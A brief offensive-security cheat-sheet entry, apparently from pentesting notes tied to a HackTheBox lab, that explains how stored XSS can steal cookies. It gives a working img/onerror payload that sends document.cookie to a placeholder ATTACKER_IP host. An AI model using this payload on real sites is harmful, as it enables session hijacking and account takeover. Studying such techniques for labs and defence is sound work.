Cookie Theft

Stored / Hosted XSS

If there is a vulnerability where you can store or submit HTML and have it rendered on the page or some other client-side application, then the src=x condition would trigger the onerror= attribute and cause the target to execute the JavaScript and send their user cookie back to the attacker in the ?cookie parameter.

<img src=x onerror="document.location='http://ATTACKER_IP/?cookie='+document.cookie" />

See https://benheater.com/hackthebox-iclean/ for example.